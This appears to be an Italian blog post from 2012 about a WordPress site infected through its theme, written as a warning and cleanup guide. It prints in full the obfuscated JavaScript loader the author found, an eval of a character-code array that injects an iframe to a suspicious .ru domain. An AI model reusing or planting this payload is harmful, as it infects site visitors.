Sito sotto attacco tramite l’utilizzo di Javascript

Ieri, come qualcuno avrà certamente notato, wordpress.org ha rilasciato la versione 3.4 dell’omonimo CMS scritto in php e, maniaco come sono, mi sono affrettato ad aggiornare tutti i siti con base wordpress che gestisco. Ad un certo punto, nel bel mezzo della procedura di aggiornamento di un sito, mi accorgo […]

Ieri, come qualcuno avrà certamente notato, wordpress.org ha rilasciato la versione 3.4 dell’omonimo CMS scritto in php e, maniaco come sono, mi sono affrettato ad aggiornare tutti i siti con base wordpress che gestisco. Ad un certo punto, nel bel mezzo della procedura di aggiornamento di un sito, mi accorgo che nella home page compare un IFRAME del tutto sospetto e mai visto prima d’ora.

Se vi state già chiedendo come me ne sono potuto accorgere, la risposta è molto semplice: grazie al famosissimo plug-in di Firefox NoScript (basilare per la sicurezza informatica su internet)

Allarmato e preoccupato cerco di capire da dove arriva questo nuovo IFRAME… tasto destro… Visualizza Sorgente Pagina… NIENTE! Tutto pulito e in ordine. Controllo i vari script JS ma, dato che il tema non l’ho fatto io, non noto problemi che mi facciano sospettare qualcosa. NoScript d’altro canto non lascia spazio a dubbi: c’è un IFRAME che effettua un GET direttametne al sito fufsbovwfzjumtle.ru (guarda caso creato esattamente 3 giorni fa, il 13 giugno in Russia! Basta fare un semplice lookup del domino per scoprirlo, vedi immagine a sinistra). Ecco la reputazione del dominio secondo WOT in meno di 3 giorni di attività: http://www.mywot.com/en/scorecard/fufsbovwfzjumtle.ru

 

Cerco subito su Google questo sito ma niente, di indicizzato non compare proprio nulla! La questione si fa calda, e per prima cosa mi viene da provare a sovrascrivere i sorgenti di wordpress approfittando dell’aggiornamento alla versione 3.4. Finito l’upload su ftp, funziona tutto ma è il FRAME è esattamente come prima. Ragionando un attimo, mi rendo conto che i temi personalizzati potrebbero essere la causa del male… BINGO.

Scarico il tema originale e il tema presente sul sito sotto attacco, confronto i sorgenti con WinMerge, e… voilà!!! Scopro una maledettissima stringa aggiunta nel JS del tema che vi posto di seguito:

/*km0ae9gr6m*/try{q=document.createElement(“p”);q.appendChild(q+””);}catch(qw){h=-012/5;try{bcsd=prototype-2;}catch(bawg){ss=[];f=(h)?(“fromCharC”+”ode”):””;e=window["e"+"val"];n=[102,234,330,396,116,210,333,440,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,80,123,492,10,64,96,128,32,236,291,456,32,208,315,128,61,64,348,416,105,230,138,460,101,202,300,128,47,64,348,416,105,230,138,324,59,20,96,128,32,64,354,388,114,64,324,444,32,122,96,464,104,210,345,184,115,202,303,400,32,74,96,464,104,210,345,184,81,118,30,128,32,64,96,472,97,228,96,464,101,230,348,128,61,64,348,416,105,230,138,260,32,84,96,432,111,64,135,128,116,208,315,460,46,164,96,168,32,208,315,236,10,64,96,128,32,210,306,160,116,202,345,464,32,124,96,192,41,246,30,128,32,64,96,128,32,64,96,464,104,210,345,184,115,202,303,400,32,122,96,464,101,230,348,236,10,64,96,128,32,250,96,404,108,230,303,128,123,20,96,128,32,64,96,128,32,64,348,416,105,230,138,460,101,202,300,128,61,64,348,404,115,232,96,172,32,232,312,420,115,92,231,236,10,64,96,128,32,250,30,128,32,64,96,456,101,232,351,456,110,64,120,464,104,210,345,184,115,202,303,400,32,84,96,464,104,210,345,184,111,220,303,316,118,202,342,308,41,118,30,500,10,20,306,468,110,198,348,420,111,220,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,369,40,32,64,96,128,118,194,342,128,100,64,183,128,110,202,357,128,68,194,348,404,40,234,330,420,120,84,147,192,48,96,123,236,10,64,96,128,32,236,291,456,32,230,96,244,32,200,138,412,101,232,216,444,117,228,345,160,41,64,186,128,49,100,96,252,32,98,96,232,32,96,177,40,32,64,96,128,116,208,315,460,46,230,303,404,100,64,183,128,50,102,156,212,54,110,168,228,48,98,96,172,32,80,300,184,103,202,348,308,111,220,348,416,40,82,96,168,32,96,360,280,70,140,210,280,70,82,96,172,32,80,300,184,103,202,348,272,97,232,303,160,41,64,126,128,48,240,210,280,70,140,123,172,32,80,231,388,116,208,138,456,111,234,330,400,40,230,96,168,32,96,360,280,70,140,123,164,59,20,96,128,32,64,348,416,105,230,138,260,32,122,96,208,56,100,165,196,59,20,96,128,32,64,348,416,105,230,138,308,32,122,96,200,49,104,165,208,56,102,162,208,55,118,30,128,32,64,96,464,104,210,345,184,81,64,183,128,116,208,315,460,46,154,96,188,32,232,312,420,115,92,195,236,10,64,96,128,32,232,312,420,115,92,246,128,61,64,348,416,105,230,138,308,32,74,96,464,104,210,345,184,65,118,30,128,32,64,96,464,104,210,345,184,111,220,303,316,118,202,342,308,32,122,96,196,46,96,96,188,32,232,312,420,115,92,231,236,10,64,96,128,32,232,312,420,115,92,330,404,120,232,96,244,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,118,30,128,32,64,96,456,101,232,351,456,110,64,348,416,105,230,177,40,125,20,30,408,117,220,297,464,105,222,330,128,99,228,303,388,116,202,246,388,110,200,333,436,78,234,327,392,101,228,120,456,44,64,231,420,110,88,96,308,97,240,123,492,10,64,96,128,32,228,303,464,117,228,330,128,77,194,348,416,46,228,333,468,110,200,120,160,77,194,360,180,77,210,330,164,32,84,96,456,46,220,303,480,116,80,123,128,43,64,231,420,110,82,177,40,125,20,30,408,117,220,297,464,105,222,330,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,216,303,440,103,232,312,176,32,244,333,440,101,82,369,40,32,64,96,128,118,194,342,128,114,194,330,400,32,122,96,440,101,238,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,177,40,32,64,96,128,118,194,342,128,108,202,348,464,101,228,345,128,61,64,273,156,97,78,132,156,98,78,132,156,99,78,132,156,100,78,132,156,101,78,132,156,102,78,132,156,103,78,132,156,104,78,132,156,105,78,132,156,106,78,132,156,107,78,132,156,108,78,132,156,109,78,132,156,110,78,132,156,111,78,132,156,112,78,132,156,113,78,132,156,114,78,132,156,115,78,132,156,116,78,132,156,117,78,132,156,118,78,132,156,119,78,132,156,120,78,132,156,121,78,132,156,122,78,279,236,10,64,96,128,32,236,291,456,32,230,348,456,32,122,96,156,39,118,30,128,32,64,96,408,111,228,120,472,97,228,96,420,32,122,96,192,59,64,315,128,60,64,324,404,110,206,348,416,59,64,315,128,43,86,96,164,123,20,96,128,32,64,96,128,32,64,345,464,114,64,129,244,32,216,303,464,116,202,342,460,91,198,342,404,97,232,303,328,97,220,300,444,109,156,351,436,98,202,342,160,114,194,330,400,44,64,144,176,32,216,303,464,116,202,342,460,46,216,303,440,103,232,312,128,45,64,147,164,93,118,30,128,32,64,96,500,10,64,96,128,32,228,303,464,117,228,330,128,115,232,342,128,43,64,117,184,39,64,129,128,122,222,330,404,59,20,375,40,10,230,303,464,84,210,327,404,111,234,348,160,102,234,330,396,116,210,333,440,40,82,369,40,32,64,96,128,116,228,363,492,10,64,96,128,32,64,96,128,32,210,306,160,116,242,336,404,111,204,96,420,102,228,291,436,101,174,291,460,67,228,303,388,116,202,300,128,61,122,96,136,117,220,300,404,102,210,330,404,100,68,123,492,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,97,218,303,348,97,230,201,456,101,194,348,404,100,64,183,128,116,228,351,404,59,20,96,128,32,64,96,128,32,64,96,128,32,64,354,388,114,64,351,440,105,240,96,244,32,154,291,464,104,92,342,444,117,220,300,160,43,220,303,476,32,136,291,464,101,80,123,188,49,96,144,192,41,118,30,128,32,64,96,128,32,64,96,128,32,64,96,472,97,228,96,400,111,218,291,420,110,156,291,436,101,64,183,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,98,162,176,32,78,342,468,39,82,177,40,32,64,96,128,32,64,96,128,32,64,96,128,105,204,342,436,32,122,96,400,111,198,351,436,101,220,348,184,99,228,303,388,116,202,207,432,101,218,303,440,116,80,102,292,70,164,195,308,69,68,123,236,32,20,96,128,32,64,96,128,32,64,96,128,32,64,315,408,114,218,138,460,101,232,195,464,116,228,315,392,117,232,303,160,34,230,342,396,34,88,96,136,104,232,348,448,58,94,141,136,43,200,333,436,97,210,330,312,97,218,303,172,34,94,342,468,110,204,333,456,101,230,348,456,117,220,189,460,105,200,183,396,120,68,123,236,32,20,96,128,32,64,96,128,32,64,96,128,32,64,315,408,114,218,138,460,116,242,324,404,46,238,315,400,116,208,96,244,32,68,144,448,120,68,177,128,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,109,92,345,464,121,216,303,184,104,202,315,412,104,232,96,244,32,68,144,448,120,68,177,128,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,109,92,345,464,121,216,303,184,118,210,345,420,98,210,324,420,116,242,96,244,32,68,312,420,100,200,303,440,34,118,96,40,32,64,96,128,32,64,96,128,32,64,96,128,100,222,297,468,109,202,330,464,46,196,333,400,121,92,291,448,112,202,330,400,67,208,315,432,100,80,315,408,114,218,123,236,10,64,96,128,32,64,96,128,32,250,30,128,32,64,96,500,99,194,348,396,104,80,303,164,123,250,30,500,44,64,159,192,48,82,177];if(window.document)for(i=6-2-1-2-1;-1771+i!=2-2;i++){k=i;ss=ss+String[f](n[k]/(i%(h*h)+2-1));}e(ss);}}/*qhk6sa6g1c*/

Ah credeva anche di fregarmi! La stringa è stata abilmente crittografata per non destare sospetti, sicuramente la mano di un utente che sapeva bene cosa stava facendo ( …e sicuramente non la mia mano, a meno che non abbia fatto qualcosa in un momento di sonnambulismo profondo :D ).

Ora rimane “solo” da capire la funzione di questa stringa. L’articolo l’ho scritto nel caso in cui qualcuno si trovi nelle mie condizioni, e la soluzione è semplice:

1) Cancellare la stringa sopra nel JS

2) Correggere i permessi sul file JS (anche se è meglio controllare che tutto il sito sia impostato con i permessi giusti)

EDIT 24 giugno 2012 – Ecco cosa mi segnala Avira quando cerco di entrare nel sito che puntualmente, viene attaccato appeno sistemo i permessi:

Virus Javascript Avira

 

About Mattia Notari